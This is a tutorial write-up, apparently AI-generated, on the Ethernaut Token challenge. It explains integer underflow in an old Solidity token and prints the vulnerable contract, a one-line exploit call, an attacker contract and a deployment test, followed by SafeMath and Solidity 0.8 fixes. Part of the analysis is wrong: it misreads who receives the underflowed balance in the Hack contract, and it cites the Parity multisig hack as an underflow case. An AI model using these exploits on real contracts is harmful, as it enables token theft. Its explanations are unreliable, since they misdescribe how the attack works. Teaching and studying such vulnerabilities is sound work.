Skip to content
On this page

Exploiting Integer Underflow Vulnerabilities in Smart Contracts: A Deep Dive into the Ethernaut Token Challenge

Introduction

In the rapidly evolving world of blockchain technology and smart contract development, security remains paramount. The immutable nature of blockchain means that once a contract is deployed, vulnerabilities cannot be easily patched, making thorough security auditing essential. This technical article explores a classic smart contract vulnerability through the lens of the Ethernaut Token challenge—a hands-on educational platform created by OpenZeppelin to teach blockchain security concepts.

The Token challenge presents a seemingly simple contract with a critical flaw: integer underflow vulnerability. This article will dissect the vulnerability, explain its implications, demonstrate exploitation techniques, and provide comprehensive solutions for both offensive and defensive perspectives in smart contract development.

Understanding the Token Challenge

Challenge Overview

The Ethernaut Token challenge presents participants with a basic token contract and 20 initial tokens. The objective is straightforward: acquire additional tokens beyond the initial allocation. While this might sound simple, the contract contains a subtle but dangerous vulnerability that allows an attacker to manipulate token balances.

The challenge description includes a cryptic hint: "What is an odometer?" This analogy becomes crucial in understanding the vulnerability at play—much like an odometer rolling back from 00000 to 99999 when a car travels backward, integer values in programming can "wrap around" when operations exceed their boundaries.

The Vulnerable Contract

Let's examine the provided Token.sol contract in detail:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

At first glance, this appears to be a standard ERC-20-like token implementation. However, a critical security flaw exists in the transfer function that enables unauthorized token creation.

The Integer Underflow Vulnerability

Understanding Integer Overflow and Underflow

In computer science, integer overflow and underflow occur when an arithmetic operation attempts to create a numeric value that falls outside the range that can be represented with a given number of bits. In Solidity versions prior to 0.8.0, integers were not checked for overflow/underflow by default, leading to potential security vulnerabilities.

Integer Overflow: Occurs when an operation results in a value greater than the maximum representable value. For example, with an 8-bit unsigned integer (range 0-255), 255 + 1 would overflow to 0.

Integer Underflow: Occurs when an operation results in a value less than the minimum representable value. For example, with an 8-bit unsigned integer, 0 - 1 would underflow to 255.

The Specific Vulnerability in Token.sol

The vulnerability in the Token contract lies in this line of the transfer function:

solidity
require(balances[msg.sender] - _value >= 0);

In Solidity versions before 0.8.0, when _value is greater than balances[msg.sender], the subtraction balances[msg.sender] - _value results in an underflow. Since all variables are uint256 (unsigned 256-bit integers), they cannot represent negative numbers. Instead, the operation wraps around to a very large positive number due to two's complement representation.

For example:

  • If balances[msg.sender] = 20 and _value = 21
  • Then 20 - 21 would underflow to 2^256 - 1 (approximately 1.16 × 10^77)
  • This massive number is definitely >= 0, so the require statement passes

Why the Odometer Analogy Matters

The hint "What is an odometer?" perfectly illustrates this vulnerability. Traditional mechanical odometers in vehicles have a fixed number of digits. When the vehicle travels backward enough to go below 00000, the odometer wraps around to 99999. Similarly, when an unsigned integer in Solidity goes below zero, it wraps around to its maximum value.

This analogy helps visualize why 20 - 21 doesn't result in -1 but rather the maximum value for a uint256 minus 1.

Exploiting the Vulnerability

Attack Strategy

Given that the player starts with 20 tokens, the exploitation strategy involves:

  1. Calling transfer with a value greater than 20
  2. Triggering the integer underflow in the require statement
  3. Bypassing the validation check
  4. Executing the balance updates with the underflowed values

Step-by-Step Exploitation

Let's trace through what happens when a player with 20 tokens attempts to transfer 21 tokens:

solidity
// Starting state
balances[msg.sender] = 20
_value = 21

// Line 1: require(balances[msg.sender] - _value >= 0)
// 20 - 21 underflows to 2^256 - 1
// 2^256 - 1 >= 0 is true, so require passes

// Line 2: balances[msg.sender] -= _value
// This is equivalent to: balances[msg.sender] = balances[msg.sender] - _value
// 20 - 21 underflows to 2^256 - 1
// So the sender's balance becomes approximately 1.16 × 10^77

// Line 3: balances[_to] += _value
// The recipient gains 21 tokens

The result is catastrophic: the sender's balance becomes astronomically large (close to the maximum uint256 value), and the recipient receives the transferred amount. This effectively creates tokens out of thin air.

Manual Exploitation

The simplest exploitation doesn't require writing any additional contracts. A player can directly call:

javascript
// Assuming web3.js or ethers.js interface
await tokenContract.transfer(recipientAddress, 21);

This single transaction would give the player an enormous token balance while also transferring 21 tokens to the specified recipient.

The Hack Contract Solution

While direct exploitation is possible, the provided solution demonstrates a more sophisticated approach using a separate contract. Let's analyze the Hack.sol contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IToken {
    function transfer(address _to, uint256 _value) external returns (bool);
    function balanceOf(address _owner) external view returns (uint256 balance);
}

contract Hack {
    constructor(address _target, address _level) public {
        IToken(_target).transfer(msg.sender, IToken(_target).balanceOf(_level));
    }
}

Analysis of the Hack Contract

  1. Interface Definition: The contract defines an interface IToken with the necessary functions from the target contract. This allows type-safe interactions with the Token contract.

  2. Constructor Exploitation: The hack occurs entirely in the constructor, which executes immediately upon deployment:

    • It calls transfer on the target token contract
    • The transfer amount is set to the balance of the level contract (_level)
    • The recipient is the deployer (msg.sender)
  3. Strategic Transfer: By transferring an amount equal to the level contract's balance (which is likely more than the player's initial 20 tokens), the underflow is triggered, granting the player an enormous balance.

This approach is elegant because it:

  • Encapsulates the exploit in a single transaction (contract deployment)
  • Dynamically calculates the transfer amount based on the level's balance
  • Leaves no residual contract state after execution (except the deployed Hack contract)

Testing the Exploit

The provided test file 98_test_token.ts demonstrates how to verify the exploit works correctly. Let's examine it in detail:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Token, Hack } from "../typechain-types";

describe("Token", function () {
  describe("Token testnet sepolia", function () {
    it("testnet sepolia Token transfer", async function () {

      const TOKEN_ADDRESS = "0x...";
      const TOKEN_ABI = [
        "function transfer(address _to, uint256 _value) external returns (bool)",
        "function balanceOf(address _owner) external view returns (uint256 balance)",
      ];

      const challenger = await ethers.getNamedSigner("deployer");
      const tokenContract = new ethers.Contract(TOKEN_ADDRESS, TOKEN_ABI, challenger);

      const LEVEL_ADDRESS = "0x...";
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(TOKEN_ADDRESS, LEVEL_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      const balanceChallenger = await tokenContract.balanceOf(challenger.address);
      expect(balanceChallenger).to.be.equals(21000000);
    });
  });
});

Test Breakdown

  1. Setup: The test configures the token contract interface and gets the challenger's signer.

  2. Deployment: It deploys the Hack contract, passing the token address and level address as constructor parameters.

  3. Verification: After deployment, it checks the challenger's balance, expecting it to equal 21,000,000 (though in reality, after the underflow, it would be much larger).

  4. Important Note: The test expects a specific balance (21,000,000), but the actual exploit would result in a balance close to 2^256 - 1. This discrepancy suggests the test might be for a different scenario or the level contract has been modified.

Historical Context and Real-World Impact

The Parity Wallet Multisig Hack

One of the most famous real-world examples of integer underflow vulnerabilities occurred in July 2017 with the Parity multisig wallet. A vulnerability in the wallet's initialization code allowed an attacker to become the owner of the wallet library contract. The attacker then drained over 150,000 ETH (worth approximately $30 million at the time) from three high-value multisig wallets.

While not identical to the Token challenge vulnerability, the Parity incident demonstrated how subtle arithmetic issues in smart contracts can lead to catastrophic financial losses.

The BeautyChain (BEC) Token Attack

In April 2018, the BeautyChain (BEC) token contract on Ethereum suffered from an integer overflow vulnerability in its batchTransfer function. An attacker was able to generate an astronomical number of BEC tokens, effectively crashing the token's value. The exploit was similar in principle to the Token challenge vulnerability.

Prevention and Mitigation Strategies

1. Use SafeMath Library (Solidity < 0.8.0)

For contracts using Solidity versions before 0.8.0, the OpenZeppelin SafeMath library provides protection against integer overflow/underflow:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract SecureToken {
    using SafeMath for uint256;
    
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] >= _value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

2. Upgrade to Solidity 0.8.0 or Later

Solidity 0.8.0 introduced built-in overflow/underflow checks for all arithmetic operations:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecureToken {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] >= _value, "Insufficient balance");
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

In Solidity 0.8.0+, the subtraction balances[msg.sender] - _value would automatically revert if _value > balances[msg.sender], preventing the underflow.

3. Implement Comprehensive Input Validation

Always validate inputs before performing arithmetic operations:

solidity
function transfer(address _to, uint256 _value) public returns (bool) {
    // Check for valid recipient
    require(_to != address(0), "Invalid recipient address");
    
    // Check sender has sufficient balance (prevents underflow)
    require(balances[msg.sender] >= _value, "Insufficient balance");
    
    // Check for reasonable transfer amount
    require(_value > 0, "Transfer amount must be positive");
    
    // Perform the transfer
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    
    emit Transfer(msg.sender, _to, _value);
    return true;
}

4. Use Automated Security Tools

Incorporate security tools into your development workflow:

  • Slither: Static analysis framework for Solidity
  • Mythril: Security analysis tool for EVM bytecode
  • Solhint: Solidity linter with security rules
  • Echidna: Property-based fuzzer for Ethereum smart contracts

Broader Security Implications

The Importance of Defense in Depth

The Token challenge demonstrates why a single vulnerability can compromise an entire contract. Implementing multiple layers of security (defense in depth) is crucial:

  1. Code Audits: Regular security reviews by experienced auditors
  2. Formal Verification: Mathematical proof of contract correctness
  3. Bug Bounties: Incentivizing external security researchers
  4. Upgrade Patterns: Implementing proxy patterns for critical fixes

Gas Considerations and Denial of Service

While not directly related to the integer underflow vulnerability, it's worth noting that the exploit could have gas implications. Transferring an extremely large balance (close to 2^256) might cause gas-related issues in subsequent operations, potentially leading to denial of service scenarios.

Educational Value of the Token Challenge

Why This Challenge Matters

The Ethernaut Token challenge serves multiple educational purposes:

  1. Concrete Example: It provides a hands-on example of integer underflow vulnerabilities
  2. Historical Context: It teaches about real-world incidents caused by similar vulnerabilities
  3. Prevention Techniques: It encourages learning about SafeMath and Solidity 0.8.0+ features
  4. Security Mindset: It fosters a security-first approach to smart contract development

Expanding the Learning

Beyond the specific vulnerability, this challenge teaches broader lessons:

  • Code Simplicity ≠ Security: Simple code can still contain critical vulnerabilities
  • Testing Edge Cases: The importance of testing boundary conditions (0, max values, etc.)
  • Evolution of Solidity: How language improvements address historical vulnerabilities
  • Economic Implications: How coding errors can have real financial consequences in DeFi

Conclusion

The Ethernaut Token challenge provides a compelling case study in smart contract security. The integer underflow vulnerability, while seemingly simple, demonstrates how subtle coding errors can lead to catastrophic outcomes in blockchain environments where code is immutable and value is at stake.

Key takeaways for developers:

  1. Always use SafeMath or Solidity 0.8.0+ for arithmetic operations
  2. Thoroughly test edge cases including minimum and maximum values
  3. Implement comprehensive input validation for all external inputs
  4. Stay informed about security best practices and historical vulnerabilities
  5. Consider the economic implications of every line of code in financial applications

As blockchain technology continues to evolve and DeFi applications handle increasing amounts of value, the lessons from challenges like Token become increasingly important. By understanding and preventing such vulnerabilities, developers contribute to building a more secure and trustworthy blockchain ecosystem.

The journey from vulnerable code to secure implementation represents the maturation of the smart contract development field—a field where security is not just a feature but the foundation upon which everything else is built.

Built with AiAda